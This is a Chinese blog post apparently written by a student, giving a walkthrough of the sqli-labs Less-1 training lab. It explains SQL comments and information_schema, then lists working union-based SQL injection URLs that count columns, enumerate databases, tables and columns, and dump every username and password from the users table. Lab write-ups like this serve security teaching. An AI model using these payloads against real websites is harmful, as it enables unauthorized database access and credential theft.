美文网首页
sqli-labs Less-1

sqli-labs Less-1

作者: jun123123 | 来源:发表于2019-10-08 00:40 被阅读0次

大一开学面试校科协计算机部时,舒畅学姐给我出的题就是sql注入,一年多以后,我终于做出我的第一个sql注入题。
先分享一个wp
https://www.jianshu.com/p/875d95f8d3cf

  1. sql中的注释一般为#--(注意减号后有空格)。但#号在url中有其他含义,不能直接使用,通常使用其url编码%23--也有同样的问题,末尾空格在传输时会被删去,所以一般用--+代替因为+会被编码为空格。
  • information_schema,系统数据库,包含所有数据库相关信息。
  • information_schema.schemata中schema_name列,字段为所有数据库名称。
  • information_schema.tables中table_name列对应数据库所有表名,其中table_schema列是所有数据库名。
  • information_schema.columns中,column_name列对应所有列名,其中table_schema列也对应所有数据库名,table_name列也对应所有表名。
  1. 联合查询时需要将前面的查询结果限定为空集,后面的查询结果才能显示出来。
  2. group_concat()函数用法

首先进入sqli-labs/Less-1看到页面如下:

1.png
提示要提交参数 id
2.png
提交后发现回显了用户名和密码
我们在参数中加入',发现如下报错:
3.png
通过报错可知可能是因为引号未闭合,同时可以发现sql语句存在limit语句限制返回第一条查询结果。
首先通过order by(排序)语句判断sql查询列数:
构造url:
http://sqli-labs.whye.xyz/Less-1/?id=1' order by 3 %23
http://sqli-labs.whye.xyz/Less-1/?id=1' order by 4 %23
结果分别如下:
4.png
5.png
order by 3时正常回显,order by 4时出现报错可知一共查询了3列,但回显只有name和password两个,因此构造url查看回显的列:
http://sqli-labs.whye.xyz/Less-1/?id=0' union select 1,2,3 %23
6.png
可以看到查询的2,3列被回显,因此构造url查询数据库名:
http://sqli-labs.whye.xyz/Less-1/?id=0' union select 1,group_concat(schema_name) ,3 from information_schema.schemata %23
7.png
构造url查询security库(查询其他库方法一样,最后可以发现security库是储存用户信息的库):
http://sqli-labs.whye.xyz/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' %23
8.png
构造url查询users表(查询其他表方法一样,最后可以发现users表是储存用户信息的表):
http://sqli-labs.whye.xyz/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
9.png
可以看到该表有三个列,其中username和password为查询后回显的列,构造url:
http://sqli-labs.whye.xyz/Less-1/?id=0' union select 1,group_concat(username),group_concat(password) from users%23
10.png
查询到所有用户的用户名和密码。

相关文章

  • sqli-labs write up

    sqli-labs [TOC] Less-1: error based string 判断参数ID类型?id=1 ...

  • sqli-labs Less-1

    1.首先来到less-1 url后面输入?id=1 大家可能此时与我不同的是 这是为了方便我们自己看到底执行的sq...

  • sqli-labs Less-1

    大一开学面试校科协计算机部时,舒畅学姐给我出的题就是sql注入,一年多以后,我终于做出我的第一个sql注入题。先分...

  • sqli-labs (less-1)

    Less1 核心代码 在用户表中查询一条用户信息,在页面中显示这条信息的用户名密码 具体后台mysql中操作的结果...

  • sqli-labs Less-1

    MySQL中的information_schema数据库表说明:SCHEMATA表:提供了当前MySQL实例中所有...

  • sqli-labs修炼【1-10】

    摘要:本篇是关于sqli-labs第1到第10关的闯关记录 Less-1 单引号闭合,有错误提示,有查询返回点 根...

  • 搭建sqli-labs注入平台

    搭建SQL注入平台 docker搭建sqli-labs 运行sqli-labs 初始化数据库 访问sqli-labs

  • [sqli-labs]Less-1(明注 , Bool盲注 ,

    打开主页进入第一关 : 提示传入id这个参数 发现这个页面会根据传入的ID查询到对应的用户这里我们可以通过查看数据...

  • SQLi-Labs 练习总结 Page-1 Less-1

    SQLi-LABS 练习总结 Page-1 基础练习 写在前面:SQL注入是一个需要不断尝试的过程,其中可能出现很...

  • sqli-labs靶场Less-62题解(少于130次)

    sqli-labs[https://github.com/Audi-1/sqli-labs]靶场Less-62题目...

网友评论

      本文标题:sqli-labs Less-1

      本文链接:https://www.haomeiwen.com/subject/jwevpctx.html